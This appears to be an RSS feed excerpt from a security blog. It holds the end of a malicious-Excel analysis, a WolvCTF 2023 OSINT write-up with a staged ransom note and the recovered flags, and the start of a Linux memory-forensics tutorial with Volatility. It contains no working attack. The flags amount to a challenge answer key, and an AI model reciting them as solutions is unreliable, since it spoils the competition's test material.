3.8.10 - http://decalage.info/python/oletools<br>...<br>...<br>...<br>VBA MACRO Foglio1 <br>in file: safe_excel.xls - OLE stream: &#39;Foglio1&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>(empty macro)<br>+----------+--------------------+---------------------------------------------+<br>|Type      |Keyword             |Description                                  |<br>+----------+--------------------+---------------------------------------------+<br>|Suspicious|Run                 |May run an executable file or a system       |<br>|          |                    |command                                      |<br>|Suspicious|Chr                 |May attempt to obfuscate specific strings    |<br>|          |                    |(use option --deobf to deobfuscate)          |<br>|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |<br>|          |                    |used to obfuscate strings (option --decode to|<br>|          |                    |see all)                                     |<br>+----------+--------------------+---------------------------------------------+</pre><p>it depent on how we want to analyze the tool, and how deeper our analysis skill.</p><h3>Identify the Attack Vector</h3><p>Once the malware is identified, it is important to identify the attack vector that was used to deliver the Excel file. This can help prevent similar attacks from occurring in the future. Some common attack vectors for Excel files include phishing emails, compromised websites, or social engineering tactics.</p><p>We can identify the file source with utilize like zone-identifier or something similar. Other option can implemented with getting the file information like hash or something specific and search it on some common threat intelligence source like virustotal.</p><pre>$ md5sum safe_excel.xls <br>491dfc470849972dfb648a4778b04e24  safe_excel.xls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcK72IKK06nfjGSgySjcEA.png" /></figure><p>Sometime it already stored there, and some analysis report from other platform can be very helpful to identify it.</p><p>Investigating a malicious file, like excel file requires a thorough understanding of Excel file structure and malware analysis techniques. This one is only simple sample but there is more complicated and confused in the wild. It is important to remember that prevention is key when it comes to cyberattacks, and having a robust security program can help mitigate the risks associated with malicious Excel files.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6faabf17570" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/investigating-malicious-document-file-e6faabf17570">Investigating Malicious Document File</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wolvctf2023: WannaFlag Series 1–3]]></title>
            <link>https://medium.com/fmisec/wolvctf2023-wannaflag-series-1-3-a00c98f80b68?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/a00c98f80b68</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Tue, 21 Mar 2023 15:05:13 GMT</pubDate>
            <atom:updated>2023-03-21T15:05:13.503Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*-dBcwBmDJR0hrZUx.png" /></figure><p>This week I participated in the CTF event organized by <a href="https://wolvsec.org/">WolvSec</a>. In this event, I only focused on the forensic and OSINT challenges.<br>In this article I will discuss the OSINT challenge. Challenge OSINT is a series tagged WannaFlag, with a starting question set of 3 and 2 more after completing all 3. Unfortunately as of this writing I can only work up to the third challenge.</p><h3>WannaFlag I: An Introduction</h3><blockquote>Description: Welcome to WolvCTF’s OSINT Category! We have a bunch of great OSINT lined up, assuming nothing goes wrong hahahhahahhahah but why would it?</blockquote><blockquote>For this challenge, find where the image was taken, and look at the Google Maps reviews!</blockquote><p>It attached with image.png</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2pPAXc2KvqDEhRWsado7Q.png" /></figure><p>I tried to read the metadata but there was nothing. immediately I searched for google image search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*63P_MpuVSuw53Mk-WtED0g.png" /></figure><p>And google directed me to a cube monument at the university of michigan called The Cube. Try to look at the reviews and sort to newest. It looks like we are on the right track, there is a wolvsec account with a comment directing to do a netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*68h5casOMW8Dwa2U5mylgA.png" /></figure><p>Try to did the intruction</p><pre>nc wanna-flag-i.wolvctf.io 1337<br>== proof-of-work: disabled ==<br>Good job finding the Cube! It&#39;s a favorite destination among UofM students!<br>Anyways here is the flag:<br>wctf{sp1n<br>Huh???? Where did the rest of the flag g<br>                       ______<br>                    .-&quot;      &quot;-.<br>                   /            \<br>       _          |              |          _<br>      ( \         |,  .-.  .-.  ,|         / )<br>       &gt; &quot;=._     | )(__/  \__)( |     _.=&quot; &lt;<br>      (_/&quot;=._&quot;=._ |/     /\     \| _.=&quot;_.=&quot;\_)<br>             &quot;=._ (_     ^^     _)&quot;_.=&quot;<br>                 &quot;=\__|IIIIII|__/=&quot;&quot;)<br>                _.=&quot;| \IIIIII/ |&quot;=._<br>      _     _.=&quot;_.=&quot;\          /&quot;=._&quot;=._     _<br>     ( \_.=&quot;_.=&quot;     `--------`     &quot;=._&quot;=._/ )<br>      &gt; _.=&quot;                            &quot;=._ &lt;<br>     (_/                                    \_)<br>                       ______<br>                    .-&quot;      &quot;-.<br>                   /            \<br>       _          |              |          _<br>      ( \         |,  .-.  .-.  ,|         / )<br>       &gt; &quot;=._     | )(__/  \__)( |     _.=&quot; &lt;<br>      (_/&quot;=._&quot;=._ |/     /\     \| _.=&quot;_.=&quot;\_)<br>             &quot;=._ (_     ^^     _)&quot;_.=&quot;<br>                 &quot;=\__|IIIIII|__/=&quot;&quot;)<br>                _.=&quot;| \IIIIII/ |&quot;=._<br>      _     _.=&quot;_.=&quot;\          /&quot;=._&quot;=._     _<br>     ( \_.=&quot;_.=&quot;     `--------`     &quot;=._&quot;=._/ )<br>      &gt; _.=&quot;                            &quot;=._ &lt;<br>     (_/                                    \_)<br>                       ______<br>                    .-&quot;      &quot;-.<br>                   /            \<br>       _          |              |          _<br>      ( \         |,  .-.  .-.  ,|         / )<br>       &gt; &quot;=._     | )(__/  \__)( |     _.=&quot; &lt;<br>      (_/&quot;=._&quot;=._ |/     /\     \| _.=&quot;_.=&quot;\_)<br>             &quot;=._ (_     ^^     _)&quot;_.=&quot;<br>                 &quot;=\__|IIIIII|__/=&quot;&quot;)<br>                _.=&quot;| \IIIIII/ |&quot;=._<br>      _     _.=&quot;_.=&quot;\          /&quot;=._&quot;=._     _<br>     ( \_.=&quot;_.=&quot;     `--------`     &quot;=._&quot;=._/ )<br>      &gt; _.=&quot;                            &quot;=._ &lt;<br>     (_/                                    \_)<br>██╗    ██╗ █████╗ ███╗   ██╗███╗   ██╗ █████╗ ███████╗██╗      █████╗  ██████╗<br>██║    ██║██╔══██╗████╗  ██║████╗  ██║██╔══██╗██╔════╝██║     ██╔══██╗██╔════╝<br>██║ █╗ ██║███████║██╔██╗ ██║██╔██╗ ██║███████║█████╗  ██║     ███████║██║  ███╗<br>██║███╗██║██╔══██║██║╚██╗██║██║╚██╗██║██╔══██║██╔══╝  ██║     ██╔══██║██║   ██║<br>╚███╔███╔╝██║  ██║██║ ╚████║██║ ╚████║██║  ██║██║     ███████╗██║  ██║╚██████╔╝<br> ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝ ╚═════╝<br>HAHAHHAHAHHAHA Ohhhhh man what an easy CTF to pwn<br><br>And I mean also really?? At least make a geo-osint KIND of difficult<br>The CTF is HOSTED by UofM where else would that dumb cube be????<br><br>Oh man ok well organizers if you want your &quot;challenge&quot; back or flags or whatever send 500,000 Goerli here:<br>0x08f5AF98610aE4B93cD0A856682E6319bF1be8a6<br><br>Who knows maybe we&#39;ll take more flags if you don&#39;t pay in time &gt;:)<br>#YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs<br>#YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs<br>#YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs #YourFlagsBelongToUs<br>                       ______<br>                    .-&quot;      &quot;-.<br>                   /            \<br>       _          |              |          _<br>      ( \         |,  .-.  .-.  ,|         / )<br>       &gt; &quot;=._     | )(__/  \__)( |     _.=&quot; &lt;<br>      (_/&quot;=._&quot;=._ |/     /\     \| _.=&quot;_.=&quot;\_)<br>             &quot;=._ (_     ^^     _)&quot;_.=&quot;<br>                 &quot;=\__|IIIIII|__/=&quot;&quot;)<br>                _.=&quot;| \IIIIII/ |&quot;=._<br>      _     _.=&quot;_.=&quot;\          /&quot;=._&quot;=._     _<br>     ( \_.=&quot;_.=&quot;     `--------`     &quot;=._&quot;=._/ )<br>      &gt; _.=&quot;                            &quot;=._ &lt;<br>     (_/                                    \_)<br>                       ______<br>                    .-&quot;      &quot;-.<br>                   /            \<br>       _          |              |          _<br>      ( \         |,  .-.  .-.  ,|         / )<br>       &gt; &quot;=._     | )(__/  \__)( |     _.=&quot; &lt;<br>      (_/&quot;=._&quot;=._ |/     /\     \| _.=&quot;_.=&quot;\_)<br>             &quot;=._ (_     ^^     _)&quot;_.=&quot;<br>                 &quot;=\__|IIIIII|__/=&quot;&quot;)<br>                _.=&quot;| \IIIIII/ |&quot;=._<br>      _     _.=&quot;_.=&quot;\          /&quot;=._&quot;=._     _<br>     ( \_.=&quot;_.=&quot;     `--------`     &quot;=._&quot;=._/ )<br>      &gt; _.=&quot;                            &quot;=._ &lt;<br>     (_/                                    \_)<br>                       ______<br>                    .-&quot;      &quot;-.<br>                   /            \<br>       _          |              |          _<br>      ( \         |,  .-.  .-.  ,|         / )<br>       &gt; &quot;=._     | )(__/  \__)( |     _.=&quot; &lt;<br>      (_/&quot;=._&quot;=._ |/     /\     \| _.=&quot;_.=&quot;\_)<br>             &quot;=._ (_     ^^     _)&quot;_.=&quot;<br>                 &quot;=\__|IIIIII|__/=&quot;&quot;)<br>                _.=&quot;| \IIIIII/ |&quot;=._<br>      _     _.=&quot;_.=&quot;\          /&quot;=._&quot;=._     _<br>     ( \_.=&quot;_.=&quot;     `--------`     &quot;=._&quot;=._/ )<br>      &gt; _.=&quot;                            &quot;=._ &lt;<br>     (_/                                    \_)<br>██╗    ██╗ █████╗ ███╗   ██╗███╗   ██╗ █████╗ ███████╗██╗      █████╗  ██████╗<br>██║    ██║██╔══██╗████╗  ██║████╗  ██║██╔══██╗██╔════╝██║     ██╔══██╗██╔════╝<br>██║ █╗ ██║███████║██╔██╗ ██║██╔██╗ ██║███████║█████╗  ██║     ███████║██║  ███╗<br>██║███╗██║██╔══██║██║╚██╗██║██║╚██╗██║██╔══██║██╔══╝  ██║     ██╔══██║██║   ██║<br>╚███╔███╔╝██║  ██║██║ ╚████║██║ ╚████║██║  ██║██║     ███████╗██║  ██║╚██████╔╝<br> ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝ ╚═════╝<br>██╗    ██╗ █████╗ ███╗   ██╗███╗   ██╗ █████╗ ███████╗██╗      █████╗  ██████╗<br>██║    ██║██╔══██╗████╗  ██║████╗  ██║██╔══██╗██╔════╝██║     ██╔══██╗██╔════╝<br>██║ █╗ ██║███████║██╔██╗ ██║██╔██╗ ██║███████║█████╗  ██║     ███████║██║  ███╗<br>██║███╗██║██╔══██║██║╚██╗██║██║╚██╗██║██╔══██║██╔══╝  ██║     ██╔══██║██║   ██║<br>╚███╔███╔╝██║  ██║██║ ╚████║██║ ╚████║██║  ██║██║     ███████╗██║  ██║╚██████╔╝<br> ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝ ╚═════╝<br>██╗    ██╗ █████╗ ███╗   ██╗███╗   ██╗ █████╗ ███████╗██╗      █████╗  ██████╗<br>██║    ██║██╔══██╗████╗  ██║████╗  ██║██╔══██╗██╔════╝██║     ██╔══██╗██╔════╝<br>██║ █╗ ██║███████║██╔██╗ ██║██╔██╗ ██║███████║█████╗  ██║     ███████║██║  ███╗<br>██║███╗██║██╔══██║██║╚██╗██║██║╚██╗██║██╔══██║██╔══╝  ██║     ██╔══██║██║   ██║<br>╚███╔███╔╝██║  ██║██║ ╚████║██║ ╚████║██║  ██║██║     ███████╗██║  ██║╚██████╔╝<br> ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝ ╚═════╝<br>Also all of you John OSINTs on twitter need to leave us alone</pre><p>I thought I would get the flag here, but there was some other information that made me a little confused about where to continue. Because there is a wallet address, a fragment of the flag, and also a suspicious last sentence I decided to look for it.</p><p>just described John OSINT on twitter. Looked up his name on twitter search and found an account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*ETZX-NgsF4JLyD0vvRIYWg.png" /></figure><p>Yes, this seems to be a related account. some of his tweets indicate it. One of the tweets mentions flags and is base64 encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*IgGOYYGHHmhMhIadFdTR1w.png" /></figure><pre>elend@faisholhaka:~$ echo &quot;d2N0Znt1aGhoX3doM3IzX2QxZF80bGxfMHVyX2ZsNGdzX2cwP30=&quot; | base64 -d<br>wctf{uhhh_wh3r3_d1d_4ll_0ur_fl4gs_g0?}</pre><h3>WannaFlag II: Payments</h3><blockquote><em>Description: </em>Ok well…………………….something may have gone wrong</blockquote><blockquote>WannaFlag’s ransom demand is insane, there’s no way we are paying that. Can you figure out which address the money is being funneled to?</blockquote><blockquote>From the ransom note: send 500,000 Goerli to 0x08f5AF98610aE4B93cD0A856682E6319bF1be8a6</blockquote><p>While looking into the address while working on the first challenger, I found some pretty good information on <a href="https://etherscan.io/">etherscan</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AxEB0_DFZx5EYeKARhrYSw.png" /></figure><p>It appears that there is no activity on the address, but there are multiple chain addresses. And while searching for this problem, there were 14 total transactions done with this address. I assume that this is a fake address to confuse the tracking process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h1yBmpaJSKKipBCaElS_PA.png" /></figure><p>There are many incoming and outgoing transactions and it is quite tedious to search for each address and almost all of them eventually send back to the original address. But I try to mark each unique transaction that occurs such as at the beginning of this transaction, there is only one outgoing transaction to address <strong>0xA01…032</strong>.</p><p>On this address there are also a number of outgoing, incoming transactions and there is a self transaction, but there is nothing in it. It can be seen that there are several transactions on the new address at address <strong>0x807…8ad</strong>. Try to check it. In one of the transactions with address <strong>0xA10…B2B</strong>, there is a self transfer with additional data input information. Try to find out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wmzg8QjLb057q2dJU0ZpmA.png" /></figure><p>On the details transaction here is the input data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HD_13mPyhMf9218LWWZcZQ.png" /></figure><p>Because this one, I try to focused on self transaction or the embeded input data on the transfer section. And it’s true, the other transaction from <strong>0x807…8ad </strong>direct to new address <strong>0x64E…999 — &gt; 0x796…3d0. </strong>Because the other transaction direct back to first address, and in this transaction the input data is the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2kNXa3QCigbv5inmSPo1CQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpMsfUMSb1I3j_c3mXrw7Q.png" /></figure><h3>WannaFlag III: Infiltration</h3><blockquote>Description: We have some solid leads so far. However, we need our flags back. Find a way to locate their communication and infiltrate their private ransom service, and submit the stolen flag we wanted to use for the first OSINT!</blockquote><blockquote>From outside intelligence, we know the group sometimes goes by w4nn4_fl4g</blockquote><blockquote>Completion of this Challenge Unlocks:</blockquote><blockquote><strong>WannaFlag IV: Exfiltration</strong></blockquote><blockquote><strong>WannaFlag V: The Mastermind</strong></blockquote><p>Unfortunately, this challenge was not completed on time. In this challenge, a group called w4nn4_fl4g was mentioned. Just search for that name, and a subreddit appears as a result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NtUnoDSxia99vx23eB9sA.png" /></figure><p>The first link only contains posts on that subreddit. And on the second link, there are deleted posts. Try to figure this out with the wayback machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RVhwA8DG_JkuG8u2Kz1ONw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vF6Z18ksnY62pkmGwzUB9g.png" /></figure><p>There are 2 snapshots on March 12, 2023. Yups, that’s right, on one of the snapshots there is a deleted comment with further instructions, just try to execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*WjCcWtF7rlbe6nXQ3xgC8Q.png" /></figure><p>Open it on browser and got the flag there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ll50J9TOWgmSk0o-GTp3bQ.png" /></figure><p>It’s great that the OSINT challenge has story telling like this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a00c98f80b68" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/wolvctf2023-wannaflag-series-1-3-a00c98f80b68">Wolvctf2023: WannaFlag Series 1–3</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
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            <title><![CDATA[Memory Forensic — Linux Kernel Confusion]]></title>
            <link>https://medium.com/fmisec/memory-forensic-linux-kernel-confusion-8f711a4ed4d1?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f711a4ed4d1</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Mon, 06 Mar 2023 02:12:38 GMT</pubDate>
            <atom:updated>2023-03-06T02:12:38.311Z</atom:updated>
            <content:encoded><![CDATA[<h3>Memory Forensic — Linux Kernel Confusion</h3><blockquote>Memory forensics is one of the sub-categories of digital forensics that I usually find in ctf competitions. Where it is necessary to analyze the results of a memory dump of an operating system such as windows or linux.</blockquote><p>I found this topic after joining the Cyberscape ctf yesterday, which was held by <a href="https://www.autobahn-security.com/">autobahn security</a>. I found difficulty in a digital forensic category problem in analyzing forensic memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*aUBSHqYseZO4fq6SGjQaxg.png" /></figure><p>Usually in the case of forensic memory, the most commonly used tool is <a href="https://github.com/volatilityfoundation/volatility3">volatility</a>. Besides doing manual crafting on raw data, using volatility makes it easier to do analysis such as system processes, or command history. But of course, in the effectiveness of its use, I just realized that there are obstacles that can occur in the process of identifying the memory dump itself. By default, volatility recognizes windows profile, so in the case of linux operating systems, it is necessary to understand how volatility works by identifying table symbols.</p><p>In this case, it happens because of the development of various and up to date Linux kernel updates, so the use of volatility itself requires the introduction of kernel versions and linux operating system versions. So to be able to start analyzing with volatility we need to generate our own Linux profile according to the kernel version obtained.</p><h4>Identifying kernel and OS Version</h4><p>Based on the volatility documentation, it is mentioned that there is a possibility to create a symbol table file for the kernel to be analyzed. So to proceed to the next stage it is necessary to know the kernel used. To identify the kernel version, it can be done in 2 ways, volatility has a utility to recognize the kernel used in the memory dump by using the banners plugin.Banners</p><pre>python3 vol.py -f ../../ctf/autobahnctf/orange/orange.mem banners.Banners<br>Volatility 3 Framework 2.4.1<br>Progress:  100.00               PDB scanning finished<br>Offset  Banner<br>0x32d58c98      Linux version 5.19.0-32-generic (buildd@lcy02-amd64-026) (x86_64-linux-gnu-gcc (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Jan 30 17:03:34 UTC 2 (Ubuntu 5.19.0-32.33~22.04.1-generic 5.19.17)</pre><p>or just read the strings and grep it</p><pre> strings ../../ctf/autobahnctf/orange/orange.mem | grep -ai &quot;Linux Version&quot;<br>MESSAGE=Linux version 5.19.0-32-generic (buildd@lcy02-amd64-026) (x86_64-linux-gnu-gcc (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Jan 30 17:03:34 UTC 2 (Ubuntu 5.19.0-32.33~22.04.1-generic 5.19.17)</pre><p>So, we have got the os and kernel version:<br>-OS: Ubuntu 22.04<br>- Kernel: Linux version 5.19.0–32-generic</p><p>Next, which also no less time-consuming step is to find the reference of the obtained kernel. While working on this challenge, it was quite time consuming to find the right reference, until I found the debug symbol (dbgsym) <a href="http://ddebs.ubuntu.com/pool/main/l/linux-hwe-5.19/linux-image-unsigned-5.19.0-32-generic-dbgsym_5.19.0-32.33~22.04.1_amd64.ddeb">kernel version reference</a>.</p><h4>Creating ISF (Intermediate Symbol Format)</h4><p>because I use <strong>wsl </strong>in the process, so I need to do this step on my own virtual machine according to the identified os. <br>required at this stage are the <strong>linux kernel</strong><em> </em>and <a href="https://github.com/volatilityfoundation/dwarf2json/"><strong>dwarf2json</strong></a> debug symbols.<br>To install debug symbols, as explained earlier, you can do the following preparations.</p><pre>echo &quot;deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse<br>deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse<br>deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse&quot; | \<br><br>sudo tee -a /etc/apt/sources.list.d/ddebs.list<br>sudo apt install ubuntu-dbgsym-keyring<br>sudo apt-get update<br>sudo apt-get install linux-image-$(uname -r)-dbgsym</pre><p>for this case i got the kernel from different directory listed there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*4dTV9_r_gHtpvs-zhtjyaQ.png" /></figure><figure><img alt="" 